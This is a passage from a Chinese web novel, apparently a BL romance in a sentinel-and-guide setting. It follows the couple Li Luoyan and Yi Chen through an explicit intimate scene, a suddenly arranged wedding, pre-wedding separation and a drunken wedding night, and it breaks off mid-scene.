易谌突然坐在了他身边,黎珞言刚要把一块薯片塞自己嘴里,易谌却突然咬住了他那块,舌尖似乎是不经意间舔了下他的手指,湿软酥麻的触感让黎珞言的手指僵了一瞬,只是浅浅地掠过。 然而在他要缩回去的那一刻, 却被黎珞言眼疾手快地卡住了。 黎珞言两根手指夹住他的舌头, 不让他收回去。眉毛拧起凑近看着易谌的脸,一脸严肃地批评他:“你干嘛抢我零食。” 怎么这时候还在关注零食?真是只不解风情的木头梨。 易谌眼皮抬起, 黑眸直勾勾望着他,没有硬要把自己的舌头缩回去,突然间反而凑拢了点,黎珞言始料未及, 下意识往后退了点, 一晃神就发现自己的两根手指被含住了。 他指尖抵着温热的口腔软肉, 慢吞吞眨了下眼, 两指松了力气,那条舌头便缩了回去, 却又灵活地沿着手指向上轻轻舔着。 这个方式,不像是在舔手指,倒像是在舔**。 黎珞言喉结滚动了一下, 意识还没反应过来,身体就已经食髓知味地作出了回应。 薯片袋子忽然间被甩了出去,塑料袋子发出响声,薯片有一部分洒在了床上,珍惜粮食的黎珞言立马扭过头,仰躺在床上,伸长手臂要去捡回来,却被掐住了腰,他便把转了一半的脑袋又正了回来,看向易谌。 他腰身劲瘦,一点赘肉都没有,上衣被掀到了胸腔往上,一枚碧绿的耳钉嵌在那里,红彤彤的微肿着,易谌干脆地跨坐在他腿上,垂眸俯视着他,拉着他的手捏住了自己那枚碧绿翡翠耳钉:“这次没骗你,一直戴着。” 黎珞言看着易谌纯白T恤里隐隐透出的交叠的手,忽然开始结巴:“药效……好像还有残留。” 他一脸正经,脸颊却有些绯红,绿眸湿漉漉的透着柔软:“你再帮我解一次药吧。” “好,”易谌似乎是目的得逞,愉悦地眯了眯眼睛,唇似有若无触碰着他的唇瓣,轻轻摩擦着,诱哄道,“那你先把那套衣服穿上。” 黎珞言张嘴咬住近在咫尺的柔软唇肉,讲话含糊不清:“原来你打的这个主意……” “可以吗?”易谌眼里带着笑,“穿上让我看看。” …… 最后黎珞言被他调戏似的喊了几声老公,晕乎乎地就答应了下来。 但黎珞言坚决不在他面前换,抱着繁复的衣裙去了卫生间里。 易谌看着卫生间半透明的门中透出的身影,静静看了一会儿后,把床收拾了一下,薯片被清理进了垃圾桶里,床单也换了。 黎珞言这时候还没出来,大概是还没换好衣服,易谌抬步走到了卫生间门口,伸手准备敲门,刚要落下时,门却被骤然打开了。 他瞳孔骤缩,有些呆愣地看着面前的人,喉结不自然地滚动一下。 “我好看吧。”黎珞言歪了歪头,眼睛弯着笑。 这套珊瑚粉的宫廷风短裙穿在他身上,呈现出一种矛盾却又莫名融洽的风格,锋利俊俏的眉眼让他显出几分进攻性,然而柔软的粉色却极大地削减了这种进攻性,散发着一种生活在华丽而又巨大的城堡的矜贵感。 繁复的蕾丝、缎带堆叠在裙子上,领口也是蕾丝状的,巨大的蝴蝶结遮住了喉结,劲瘦的腰身被深粉缎带勒住,裙子下摆大概在膝盖和胯骨的中间,显得很是俏丽清纯。 视线向下滑落,纤直白皙的双腿被白色长袜所束缚,膝盖透着点健康的薄粉,他腿生得十分漂亮,充满了力量感,却又没有夸张的肌肉,一道黑色的丝绒腿环箍在大腿上,溢出一点象牙一样白而细腻的腿肉,挂住了长袜。 黎珞言半晌没听到易谌夸自己好看,怀疑地低眸看了看自己,他照过镜子了,觉得很好看啊。 面前穿着宫廷风短裙的哨兵把裙子穿出了一种独特的属于自己的风格,既有一种青春四溢的靓丽,又充斥着某种别样的诱惑。 “……好看。” 易谌终于回过神来,微敛了眸,喉结又滚动了一下。 “那现在可以帮我解药效了。”黎珞言脸颊泛着薄红,动作却丝毫不矜持,把易谌往床上一推,自己就主动跨了上去。 易谌一只手放在他的腰上,另一只手顺着小腿往上滑,蛇一样往上攀着,冰冰凉的触感逐渐变得滚烫,手指蓦然从腿环里艰难地钻了进去,本就很紧的腿环这下更是阻塞。 黎珞言一口咬在他的下巴上,凶巴巴道:“你做什么?” 易谌便要把手取出来,手指刚缩回去,腿环就骤然弹了回去,“啪”的一声,留下一道淡淡的红痕,显得极为涩情。 黎珞言微拧了眉,小声嘟囔:“你怎么这么坏?” 他手下掐着向导劲瘦的腰,往下掐得通红,抓着易谌将其翻了个身。蕾丝布料扫着易谌的背,摩擦得他苍白的皮肤都开始发痒泛红。 黎珞言偏偏还要先有仪式感地通知易谌一句:“我要开始了。” 易谌闷声应了句,嗓音沙哑。 …… 黎珞言脖子蔓延着红,领口处的蝴蝶结往下滑落了,喉结裹着一层晶莹的汗,出水芙蓉一样,自下而上看着易谌动作。 白色腿袜有些划丝,看起来有些狼藉,还沾上了点浓稠的水渍。裙子把联结处挡了个严严实实。 易谌看着穿着小裙子的黎珞言,突然为现在的位置感到了点羞耻,脸上不断滚落热汗,使劲闭了闭眼,克服那点羞耻心。 黎珞言说话莫名其妙夹了起来,像个小夹子,嗓音听起来跟撒娇似的,带着点哑:“老公你可以快一点吗?” 易谌瞥他一眼,黎珞言就忍不住弯起眼睛,小狐狸似的笑了。 绿眸亮晶晶的,还在刻意拖长语调,故意问他:“怎么了老公?” 易谌眯了眯眼睛,唇角勾了勾,压低声音配合着他说:“老公给你磨成针了怎么办?” 黎珞言声音一下子夹不住了,发自内心笑起来,很清亮很有少年气的嗓音:“那你要加油喔,还差的好远。” * 结束之后,黎珞言身上还穿着那套小裙子,上面沾着些乱七八糟的东西。他懒懒地躺在床上打开终端刷了刷。 易谌刚一起身,就感受到有大量梨汁滑落了出去。他动作不禁一顿,淡声说:“照你这个灌法……” 他停顿了下,黎珞言便接话:“我灌很多吗?” 黎珞言手按了按他的,易谌便立马抓住了他的手腕,沉声道:“别按了,等会儿把床单弄脏了。” 黎珞言歪了下脑袋,感慨般张嘴“哇”了一声:“那你要到卫生间里去了才能放松,不然也会把地板弄脏。” 易谌拧了下眉,扭头看他,按住他的下巴迫使他和自己对视着,黎珞言便无辜地眨眨眼睛。 易谌看起来比他沉稳得多,皱着眉说:“你现在怎么说这么多烧话?” 黎珞言身子前倾,湿润的唇碰了碰他的手背,弯着眼睛说:“你教的好。” 这种夸奖很奇怪啊……易谌眼皮抽了抽,起身去卫生间收拾自己了。 …… 黎珞言继续看终端,突然看见好几个人给自己发了消息,他有些疑惑,按着先后顺序点进去看。 尹惟:【喜帖我收到了,但怎么没见你和我说一声呢?】 喜帖?什么喜帖? 黎珞言脑子有点懵,他又去看别人发的消息。 奚元:【结婚这种事完全不通知我一声是吧。】 【这段时间我约了你那么多次,一次面都没见上,你就给我发来个喜帖??】 【黎珞言,你最好一直不见我!】 尹祁青:【这么突然就结婚了?不过既然你已经决定了,那开心就好。】 温暻:【是不是太早了?你才刚到适婚年龄……结婚人选是不是也可以再斟酌下,匹配库完全按照匹配度判断出来的人也不一定真的适合你。】 …… 几乎是每一个认识的人都给他发来了消息,一时间消息太多了,黎珞言迅速往下翻翻翻,终于在最底下翻到了罪魁祸首。 执政官:【既然你意已决,我也没什么好反对的,以前是我不好,现在我会学着尊重你的想法。婚礼定在下周五,喜帖我已经发出去了。】 黎珞言:“啊……?”他意已决?他有很坚决地和父亲掰扯过这件事吗? 他眼睛一下又一下眨着,等到易谌出来了,便抬眸慢吞吞说:“我们,好像真的要结婚了……” 易谌正拿毛巾擦着头发,换上了舒适的睡衣,闻言仍旧淡定:“什么时候?” 黎珞言缓慢地放下终端,正色道:“下周五。” “你这是什么表情?”易谌走近,毛巾打在脖子上,黑发湿润带着水汽,“你不愿意?” 黎珞言仰着头看他:“我愿意的。就是……时间怎么这么赶?他都没有和我们商量过。” 他抿了抿嘴巴,有点不高兴。 易谌眼神闪烁了下,垂下眸,舌尖抵了抵牙,顺着他的话说:“哦,他怎么这样……那你会想要推迟延期吗?” 黎珞言扒拉了下身上的裙子,让自己躺得舒服一些,一边回终端上别人发来的消息,一边抽空亲了亲他:“好了好了,不延期。” 第 85 章 “来私会。” 婚礼突然变成了迫在眉睫的事, 但黎永全权包揽了所有的准备工作,黎珞言和易谌作为婚礼的主人公竟然变得无所事事了起来。 于是莫名闲下来的两人就在家里做泥塑。 黎珞言手上都是泥,眉眼一本正经, 盯着自己手里的泥人, 一下又一下仔细地捏。 又拿了根牙签, 极为精细地雕琢,一些细节都被勾画了出来。 易谌看了眼他手上的漂亮泥人,又看了眼自己手里的四不像,挑了下眉,不信邪地继续捏。 “好啦。” 黎珞言完成最后一步,满意地把小泥人捧在手心让易谌看。他眼睛亮晶晶的,满眼都写着“快夸我快夸我”。 “哇, 这么厉害。”易谌立马献上夸赞。 “那当然了。”黎珞言朝他眨了下右眼, 把泥人放在他的脸颊处,赞叹道, “简直一模一样。” “那倒也没有像到那种程度……”易谌突然注意到黎珞言幽怨的眼神,当即转了口气,“确实啊,一模一样。” 黎珞言抿着嘴, 明显听出他的意思, 嘟囔了一句:“哪里不像?” 易谌迟疑道:“你是在真心问我吗?” 黎珞言点点头, 认真地看他, 像是下一秒就要拿出纸和笔出来做笔记了。 没想到等了好一会儿,易谌给他来了一句:“神韵就不太像。” 黎珞言:? 他撇了下嘴, 把自己捏的小泥人放在了桌上,倾着身子去扒拉易谌的手:“那我让看看你做的有多像。” “哎!”易谌扭过身子把自己手里那个泥塑护得好好的,坚决不让黎珞言抢到。 “快让我看看。” “我这还是个半成品, 等等再看。” “不要,我倒要看看你做的神韵有多像。” “我错了,你做的最像了。” 两个人抢来抢去,扑到了地上。 易谌摔到了地上,立马背过身把自己那个泥塑作品好好地护在身下。 黎珞言抓着他,半晌抢不到,气得咬了他一口。 他咬在易谌的脖颈侧边,留下一个浅浅的牙印。 易谌扭头看他:“怎么还恼羞成怒了。” 黎珞言顺势就趴在他肩膀上,仰着脑袋看他:“那你让我看。” “行吧,让你看一眼。”易谌舔了舔唇,表情有些奇怪,把自己那个泥塑拿了出来。 两人就保持着这个旖旎又暧昧的姿势开始欣赏这个丑泥塑。 易谌半边脸上还被黎珞言抹了把泥,他一边看着自己手上这个未成形的泥团,一边又快速瞥几眼黎珞言的表情。他自己倒是绷着张严肃的高冷脸。 黎珞言凑近了那个泥团,左看右看也看不懂这是什么,于是真诚发问:“你捏的是什么?” 他戳了戳末端甩着的长条:“这么长一截是什么?不会是尾巴吧。” 易谌道:“像吗?我捏的厄斯。” 黎珞言皱了皱鼻子,良好的审美素养让他无法对着这团东西说出个好字,皱巴着一张脸说:“厄斯要是长成这样,那它都不好意思出来了。” 出来之后趴在黎珞言肩上的小狮子闻言张嘴拖长尾音叫唤了一声,表示它认同这句话。 它把巨大的脑袋往旁边一撇,不想再看易谌指着这个丑泥团说捏的是他。 易谌自卖自夸:“也还好吧,丑萌丑萌的。” 黎珞言立马把自己捏的小泥人放在他那个旁边,这一下对比实在惨烈,差距明显。黎珞言凑近易谌,眉眼认真,嘴巴也抿着:“你要不再看看呢?” 他眯了眯眼睛,绿色的眸子却澄澈,显得很干净,嘴上斩钉截铁道:“只剩丑了。你再说像厄斯,厄斯下回咬你。” 厄斯即刻又叫唤了一声,像个毛绒玩具一样趴在黎珞言肩上,却朝着易谌呲牙咧嘴吓唬他。 易谌眉眼倏地舒展,映上点点笑容,刚想说些什么,就被突然传来一阵猛烈的敲门声打断了。 “砰砰砰!”声音大得就跟来讨债的一样。 黎珞言和易谌对视了一眼,两人神情都有点状况外的茫然。 “开门!”很有中气的一道属于年轻人的声音。 黎珞言慢吞吞地从易谌身上爬起来,站起身去开门。 门被打开,外面站着的居然是奚元和尹惟。那一嗓子就是奚元喊的。 “你们怎么突然来了?” 奚元一抬眼就看见黎珞言宽松凌乱的衣服,手上锁骨上还沾着点泥痕,头发微微翘起来,明显就是居家的安然模样。还做泥塑?他都能想象到黎珞言和易谌两人同居会是怎样的腻歪在一起。 奚元一想到黎珞言一声不吭就要办婚礼了就有点来气,红发都炸了起来,冷巴巴硬邦邦地说:“是黎叔叔让我们来的,把你接走。婚礼前三天你们不能见面。” 黎珞言眨了眨眼睛:“还有这种规定吗?” 易谌收拾了下自己的形容,走到了黎珞言身边,尽主人之仪说了一句:“你们要不要进来坐坐?” 尹惟微笑着婉拒:“不用了,马上就走了。” 黎珞言侧头看向易谌,慢吞吞地说:“那我要和他们走了……” 易谌垂眸,仔细擦了擦他锁骨上不小心沾上的泥痕,把那块白皙的皮肤擦得有点红了,才掀眸应了声:“好。” 奚元顺着他的动作,盯着黎珞言锁骨看了好一会儿,忽地发现还有好几处红痕,明显是被吮出来的。他拧起眉,干脆移开视线不去看了。 “可以走了吗?” 黎珞言抬了抬下巴,先说了句:“等一下啊。”然后思索了几秒,拉着易谌细细叮嘱他不许再把他囤的酒一口气喝光了,零食可以吃但是要给他留一袋,晚上睡觉可以抱着厄斯睡…… 他认认真真交代的事情都是些琐碎的生活中的小事,易谌听着听着就忍不住弯了弯唇角。 奚元语气有点凶地打断他的话:“厄斯也不能留下来!” “连厄斯都不能留下来吗……”黎珞言抿了抿唇,黑发耷拉着看起来有点可怜,漂亮的绿眼睛都暗淡了一瞬。 然而奚元别过了头,视线落在其他地方,不被他可怜的小表情所影响,坚定不移道:“不可以。” 尹惟双手环抱站在后面,闻言挑了下眉。她怎么不知道什么时候有说过不能把精神体留在这里? 但她也没戳穿,唇角扬着笑。 黎珞言最后还要和易谌抱一下,奚元拉着他的衣服把他往自己的方向一扯,把人拽向了自己。 红发哨兵单手插兜,另一只手拽着黎珞言,浑然天成的不羁模样:“走了。” “等下,我还没换衣服……”黎珞言举手。 “回去再换一样的。” 上飞行器的前一刻,奚元回头看了一眼,易谌站在楼下门口,黑眸幽深,看不清表情,看起来不是个好相与的角色。然而下一秒他突然弯了下眉眼,冷淡的气质被冲淡了,抬手朝他们方向挥了挥。 奚元转回头来,果然看见黎珞言趴在半透明窗户边上,绿眸弯起,朝易谌挥手道别。 奚元啧了一声,进去之后,飞行器的门自动关闭。 他仰靠在座椅上,闭目养神,过了会儿睁开一只眼睛,看看黎珞言在干嘛。 黎珞言手里捧着一个小泥团,泥团后面还有个尾巴一样的东西支棱着。 奚元毫不留情地说:“你怎么拿着这么个丑玩意儿。” 黎珞言摸着手上泥团,反驳道:“可是它丑萌丑萌的。你不觉得它和厄斯一模一样吗?” 厄斯:啊?刚才可不是这么说的。 金毛小狮子顿了顿,旋即“嗷呜”了一声,很没原则地调换阵营,迅速站在主人这边表示肯定。 奚元撇撇嘴:“厄斯要是长这样,光是出来露个面就能把人笑得没力气打架了。” 厄斯呲牙咧嘴:“嗷呜嗷呜!” * 黎珞言和他们一起回的是尹祁青的那处住所。 他刚一进门,香味就扑了鼻。 “回来了?”尹祁青手上的袖子抹到了大臂处,一边把系着围裙取下挂起,一边说着,“看来时间刚刚好,坐下吃饭吧。” 黎珞言很久没尝过尹祁青的手艺了,饭菜很丰盛,他暂时忘记了和易谌分开的难过,大快朵颐起来。 下午又被奚元拉着一起打游戏,他还没来得及想念易谌,就投入进了游戏当中。 到了晚上,一个人待在房间里,月色透过窗户映了进来,黎珞言很久没有一个人睡在一张床过了,身边没有了熟悉的气息,他抱着枕头这时候才有点怅然若失的感觉。 突然窗户被敲了两下,黎珞言福至心灵,立马弹射似的坐直了身子,他歪了歪脑袋,狗狗祟祟地去打开了窗户。 易谌抬起脸,黑眸里浸着笑意看他。 “你怎么来了?”黎珞言张了张嘴,眼睛闪过惊喜。 易谌直勾勾望着他:“来私会。” 明明是即将结婚的未婚夫夫,却搞得跟偷情一样。 忽然间卧室的门被打开了,灯也“啪”一声亮了,奚元手里拿着个玻璃杯,一边往里走,一边说:“给你倒了杯橙汁,渴了可以喝口……” 一抬头看见站在窗边的黎珞言,以及和黎珞言挨得极近的易谌。 他的话语恍然间卡壳了,震惊地睁大了眼睛,把杯子放了就要去阻止他们相会。 黎珞言莫名其妙被带得有点手忙脚乱了,突然唇瓣被另一个柔软的物件按压了一下,一触即离。 他下意识舔了舔嘴唇,留住方才的温度,一双绿眸安静又茫然地望着易谌。 易谌轻轻吻了他一下之后,唇角扬起一抹笑:“今日份的私会结束了。” 然后在奚元冲过来的前一刻,转身动作利落地跳了下去。 第 86 章 “我真的要结婚了吗?”…… 奚元冲到窗户边上, 扒着窗户边框往下看,紧皱着眉头,脸色差得像是被偷了珍视的物件, 盯了半晌, 从喉腔里憋出一句“艹!”。 黎珞言没有看他, 而是倚着墙垂下眸,把唇轻轻抿进去一点,似乎是回味,奚元一扭头看见他一副怀春模样,更是气不打一处来。 手按在黎珞言的肩上,郑重严肃地说:“结婚前不可以见面。” 黎珞言这才抬起眸,皱了皱鼻子, 小声地说:“你怎么这么霸道, 连见面也要管。” 奚元也冲他眯了眯眼睛,一字一句说:“我就要管。” 他把黎珞言往旁边推了推, 使劲把窗帘一扯拉上,“好了,这回我看着你睡觉,你睡着了我再走。” 橙汁被他递给黎珞言, 他撇着嘴干巴巴道:“喝光。” 黎珞言慢吞吞拖长调子“哦”了一声, 捧着杯子一口喝尽, 嘴里残留着一股清爽的甜味。他在床上躺好, 被子一拉,抱着枕头, 侧躺着,看起来格外乖巧,奚元就坐在旁边打起了游戏, 声音关了静音。 他以为的正乖巧睡觉的黎珞言突然间睁开眼,小声但吐字清晰地说:“那我在梦里和易谌见面,你就管不着。” 奚元屏幕里操控的小人一个手抖,被对手打死了,双手交叠安然地倒在地上。他气得大喊:“黎珞言!” 黎珞言把被子一拉,眼睛闭上,就像睡着了一样,神情安静。 奚元势必要和他好好理论一番,伸手就去扯他的被子试图掀开,黎珞言眼睛闭着,手却使劲扯着被子不让他扯走。 被子突然成为了较劲的工具。 门突然被敲响了,敲了两声之后,尹祁青就打开门进来了。 高大冷峻的青年一进来就看见两人跟小学生似的扯被子,他有些无奈地问道:“怎么了?不是要睡觉吗?” 奚元别过头,红发气得炸起。 他松了手,黎珞言就在这场抢被子大战中成为了最终赢家。他抱着自己的被子,仰起头,绿眸望着门口的尹祁青,像是有点可怜似的,慢吞吞地说:“哥,他打扰我睡觉。” 奚元扭头看着黎珞言,立马就为自己正名:“我这是在监督你睡觉。” 黎珞言不和他吵,转过头哼哼两声,小声地肯定自己的说法:“就是在打扰我。” 只言片语的,尹祁青也不能立刻知道来龙去脉,但好在对于他俩的相处很有经验,及时出声制止了两人幼稚的斗嘴:“好了,天都黑了,快睡觉吧。不放心的话,我在这边守着小言。” 奚元还想再说,尹祁青轻轻拍了拍他,语气温和:“尹惟明天还要去议会实习,让她好好休息一下。你们也不要吵架了,早点回去睡觉吧。” 尹祁青是个很稳重的人,一直以来在他们当中也跟大家长似的,说出来的话也很具有信服力。 奚元不情不愿地“嗯”了声:“行吧。”又瞪了黎珞言一眼,这才出了门,关门很轻,还记得这房子里有个人在睡觉。 尹祁青坐在了床边上的椅子上,朝黎珞言弯眼笑了笑,嗓音沉稳:“睡吧。” “哥,”黎珞言裹着被子,只露出了个毛茸茸的脑袋,眼睛亮亮的,专注看着尹祁青,“不用守着我睡觉的。” 尹祁青伸手隔着被子拍了拍他,轻声说:“没关系,快睡吧。你睡着了我就回去了。” 黎珞言便抱住枕头,闭上眼。但方才和奚元闹了一会儿,他又没多少睡意了,忽然坐起身来,嘴巴一张忍不住说起话来:“我突然有点紧张。” 尹祁青看向他,唇角弯着笑,冷肃的气质都被笑容冲淡,让人油然而生一股亲近的感觉,耐心问道:“怎么突然紧张了?” “我真的要结婚了吗?”黎珞言眼神有点茫然,但是眼底潜藏着对即将到来的未知生活的期冀,“感觉……好突然啊。” 他想起小时候他只能在空荡荡的屋子里待一整天,每天能做的事情只是盯着门,等着那道锁从外面打开,然后才能在单调的生活里看见不一样的、像他一样可以动的……人。 但是突然有一天开始,他一睁开眼、或者一个翻身就能看见睡在自己身边的人,能摸到温热的、真实的体温,能够在每一次意想不到的、只有他一个人的时候被对方找到…… 尹祁青轻轻揉了揉他的头发,少年便抬起眸子,一双漂亮的绿眼睛就这样安安静静地看着他。 “但是你很开心。” 尹祁青笑了笑:“我也很开心,这段时间你变得开朗了很多。” 黎珞言其实没太察觉到自己有什么变化,他变得开朗了吗?他眼睛轻轻眨了眨,平视着尹祁青,听着他说话。 “我完全支持你的决定。”虽然这样说着,尹祁青眼底却浮现出几分怅惘,他看着黎珞言慢慢长高、长大,从一个小孩变成一个成年人,居然又即将看着他结婚,他心里堆叠着很复杂的情绪,压得他胸口很闷。 但他却丝毫没有表现出来,眉眼带着很轻微的笑意。 黎珞言又慢吞吞地说了好多话,他话很多,想起来什么就说什么,内容漫无边际,这是尹祁青一直都知道的。 模样冷肃的青年就坐在床边上,边耐心听他说话,边点头,直至黎珞言把自己给说累了,说着说着眼睛阖上睡着了,尹祁青唇角挂着的笑容才慢慢收敛了。 他垂眸看了会儿黎珞言的睡颜,看着他呼吸逐渐平稳,这才轻声地起身离开,没有发出一点动静,将灯关上了。 屋内变得一片漆黑。刚刚还喋喋不休的少年此时安静得不像话,眉眼柔和下来,唇瓣红润,面部轮廓锋利,是一眼就能让人觉得冲击力很强的浓颜系长相。但睡着了之后却显得很好接近,紧紧抱着枕头,半边脸颊压在枕头上,充斥着一种小动物似的亲昵,吸引着人去靠近。 尹祁青关了门后,却没有立马回到自己的房间。他倚靠着门,一墙之隔的另一边是他看着长大的弟弟。 低着头,眼皮垂下,遮挡着眸子里的情绪,房间外没有开灯,他脸庞没有被照亮,显得晦暗不清。他使劲闭了闭眼,胸膛缓慢起伏,对着地板很轻地说了一句:“是啊,好突然……” * 婚礼很快就到了,黎珞言这三天里倒是没有觉得度日如年,毕竟每天晚上易谌都会突然出现在窗边,然后亲他一下,又在奚元气愤地赶过来之前跳下去。 黎珞言穿着婚礼的西服,整个人看起来比平时还要招人些,格外好看。 婚礼流程无疑就是那样,按照流程走完全程后,就到了敬酒的环节。 礼堂里人很多,黎永几乎给认识的人都发了喜帖,婚礼现场布置得华丽又盛大。 但温暻没有来,据说是因为白塔突然有点事,向黎珞言表示非常抱歉,礼物已经送过来了。 礼物代替温暻坐在了他的位置上,黎珞言仔细地拆开了那个礼物盒,里面装的居然是藤蔓。 除了漂亮些,和普通的藤蔓相比好像没有太大的区别。 桌上其他人的表情一时间变得有些怪异,谁都知道温暻的精神体是藤蔓。当中有人忍不住看了黎珞言身后的易谌一眼。 易谌倒是很沉得住气,表情没看出一点变化,似乎并不在乎温暻送了个什么礼物。 黎珞言好奇地碰了碰盒子里的藤蔓,藤蔓轻轻一抖,忽然开出了漂亮的白色小花,藤蔓尖尖依恋般碰了碰他的指腹。 他微怔了一下,旋即弯了弯眼睛。开花的藤蔓突然唤起了他的一些记忆,当初温暻每次给他做疏导的时候,藤蔓一碰到他,就会突然开出漂亮的小白花。 他记得他当时还好奇地问过温暻“藤蔓居然也能开花吗?”,然后温暻就看着他,眼里含着一种他看不太懂的情绪,过了好一会儿才温声回道:“我也是才知道。……好神奇。” 但他觉得温暻应该是知道的,因为温暻虽然嘴上说着神奇,然而表现得一点也不惊讶。 …… 易谌突然伸手抓住了他的。黎珞言被从记忆里拉了出来,侧着头朝他眨了眨眼睛。 易谌的体温偏凉,但握紧了他的手之后,似乎是由于热量的传递,手上的温度也逐渐热了起来。 易谌身体前倾,唇凑在了他耳垂边上,轻声道:“我要吃醋了。” 他说的极其直白,结婚了之后对自己的意图完全不遮不掩了。 黎珞言耳朵上没有了耳钉,光洁白皙一片,被他温热的吐息一拂,便蹿上一抹绯红。 他抿了抿嘴巴,唇被抿得嫣红,立马把盒子合上了,乖巧地朝易谌弯起眼睛。 在敬酒的时候,黎珞言喝了不少酒,易谌还帮他挡了好几杯,但敬完一圈下来,黎珞言脸颊已经飞上两抹红了,眼睛湿漉漉的,易谌喊他,他要反应好一会儿才有应声,眨着眼睛看他,一个字一个字往外蹦:“怎么了?” 水光淋淋的一双眼就那样看着面前的人,满是让人动容的信赖依恋。被这样盯了两秒,易谌喉咙就已经干涩得不行了。 礼堂里人已经散完了。 先前还很热闹的场地一时间变得极为安静。 易谌缓声道:“该回去了。” 突然胸口一沉,黎珞言脑袋一下子撞在他胸口上,他下意识把人接稳了,垂眸看去,好一会儿才确定,这是睡着了。 喝了这么多酒…… 他手背探了探黎珞言脸上的温度,滚烫的温度传到他的手上。 他准备把黎珞言抱起来,黎珞言突然张了张嘴,似乎是在说话。易谌凑近,仔细听他在说什么,脸上却忽然被亲了一口,他眉眼骤然一怔。 黎珞言见状忍不住弯起眼睛,脸颊醉红,醉得脑袋都是晕乎乎的,却得逞了一样开怀地笑起来:“偷袭成功。” 下一秒易谌就伸手弹了下他额头,语气淡淡:“我也偷袭成功了,打平了。”但耳朵却通红。 心脏声跳得一下比一下快,像是要突破胸口的桎梏,震得猛地跳出来。 第 87 章 “对的准吗老公?”…… 易谌把身边的醉鬼扶着往对面的酒店走, 但黎珞言喝醉之后并不听话,他走上两步就突然蹲下来,低着头摸地板, 似乎地上有什么格外吸引他的物件似的;一会儿又跑到旁边去拨弄花花草草, 也不扯断, 只轻轻用指尖触碰着。 易谌也在他身边蹲下,低声问:“怎么不走了?” 黎珞言慢半拍地抬头看他,眼睛轻轻眨了眨,绿眼睛浸着水汽直愣愣看着易谌。他指尖轻触着路边的野花,花瓣薄而轻,即便视线没落在那上面,他的动作也轻柔无比, 似乎是怕把花不小心折断了, 但又实在喜欢得紧的模样。 易谌被他看得心里软得一塌糊涂,被这双眼睛勾得情不自禁地一点一点靠近。 夜晚吹着凉风, 十分舒适的温度,落在耳边似乎成了某种极温馨的白噪音,吹不灭腾涌攀升的、沿着皮肤散发的旖旎热意。 易谌缓慢地靠近,眼睛轻轻闭上, 在唇即将贴上哨兵的唇瓣时, 一只手突然横在了他们面前。 他骤然间睁开了眼睛, 湿红的舌面似有若无舔舐过面前。 黎珞言用手背挡了一下, 眼睛睁大了些,似乎是想起了极其重要的事情, 大喊一声:“等一下!” 他声音很大,引得过路人禁不住把视线投了过来。 易谌立马把他嘴巴捂住,没有使劲, 只是虚虚挡着他的嘴巴:“你想被拍视频上传到论坛吗?” 被捂住嘴的笨蛋听不懂他在说什么,眼睛眨巴了两下,一声不吭地安静看着他,就像十分文静乖巧一样,突然一下站起身,拔腿就往方才举办婚礼的礼堂里跑。 易谌眼里罕见地出现茫然,毫不犹豫地跟上他的步伐。 黎珞言一路跑到了他们婚礼的那个台上,终于停下来了,蹲下身似乎是在翻找什么。 易谌也跟着停下脚步,剧烈运动后气息有些不稳。 旋即黎珞言就转了过来,手背至了身后,然后在易谌轻笑着,说是不是该回去了的时候,突然凑上前亲了一下他的脸颊。 太轻了,像被柔软的羽毛扫过一样,易谌每一次被他亲都会下意识神色一怔,他忍不住扬起唇,有些无奈自己不值钱的反应,伸出手想让黎珞言和他一起回去了,手伸到半空中的时候刚好与花瓣相触。 易谌垂下眸,看着骤然伸到自己面前的捧花,捧花里装着的都是真花,花瓣的触感柔软,一股不腻人的清甜花香味钻入鼻腔。 黎珞言穿着齐整漂亮的西服,双手握着捧花,五官锋利俊俏得像是童话故事里所向披靡的首席骑士,柔和的暖光照在他身上,将五官散发的攻击性冲淡了个大概。 他弯起眼睛,嘴唇一张一合,可以看见哨兵两颗洁白的尖牙,以及湿红的舌:“突然好想送你花。” 易谌怔愣了好几秒,才接过了捧花,微一低头,鼻尖和花束只有几厘米的距离,香气扑鼻,花香在他身上环绕,绿色的、纯净水晶一样的眸子就那样望着他,就好像只装得下他一个人的身影一样。 易谌忽然觉得自己的脑子有点迷迷瞪瞪的了……他不会是醉香了吧。 …… 喝醉酒之后的黎珞言的想一出是一出,格外的有活力,易谌跟着他跑了几个圈之后,天色都黑下来了。他抬头看了眼天,觉得不能任黎珞言再胡闹下去了,干脆一个擒拿的动作把又要往左跑的黎珞言给逮住了。 突然被扼住动作的黎珞言仰起脑袋,嘴巴被他抿得紧紧的,眼神茫然,明晃晃写着“你干什么”几个字。 易谌低声道:“先回酒店啊,听话。” 他好不容易才把醉鬼带回了酒店房间里,把黎珞言往床上一放,准备帮他把一身酒气的衣服换掉,手去解扣子,旋即手腕被另一只手抓住了。 黎珞言拉着他往自己的方向使劲一扯,易谌一时不察就摔了上去,还好及时用手撑在了床上,没有一整个人直接砸在黎珞言身上。 易谌垂下眸,漆黑的眼眸看着黎珞言,眼底却浸上几分笑,慢悠悠地说:“又怎么了?” “我喝了好多酒……好难受。”黎珞言眼睛湿漉漉的。 “我刚准备去给你来碗醒酒汤。”易谌探了探他额头的温度,给他降温。 “……都这样了,你还扒我衣服。”黎珞言默默把剩下那句话说完。 易谌差点被气笑了,磨了磨牙,凑近了他,唇齿在他下巴尖上磨吮了会儿,那块皮肤被吮的红起来。他嗓音很低,带着磁性,笑着问:“老公,你就这么冤枉我?” 黎珞言原本有点褪下来的体温因这一句话重新又升了上去,眼睛还望着易谌,慢吞吞地说:“我才没有冤枉你……” 他指了指自己下巴上才被吮出来的红痕,证明易谌就是在他喝醉了之后还在色心大发。 易谌挑了下眉,觉得他都这么说自己了,要是不做点什么,还真是被冤枉了。于是伸手掐住黎珞言的下巴就亲了上去,口腔的温度很高,舌头卷缠着,易谌吻得激烈,黎珞言往后退一点,他就进一点,更何况黎珞言在床上也退不到哪里去。 黎珞言喉结不住颤动着,眼睛睁大了,浸着闪烁的泪花,但他喝醉之后整个人都呆呆的,只伸手推了推易谌的胸膛,易谌似真似假地“嘶”了一声,好像是被他推疼了。 他顿了几秒,给易谌揉了两下之后便收回了手放弃抵抗了,任由着易谌亲着自己。 易谌吮着他的舌,让他唇舌都有些发麻酸软,易谌一只手扣在他的后脑勺,在接吻换气的间隙中哑声说:“闭眼。” 黎珞言唇色红润微肿,闻言很不配合地回道:“才不要。” 下一秒,易谌又吻了上来,黎珞言紧闭牙关,故意不让他亲,还伸手捏了捏易谌的脸,挑衅似的。 然而突然间他眼前变得一片漆黑,就像是骤然间房间内的光都被吸走了一样,但他们都在床上,又有谁会去关灯呢? 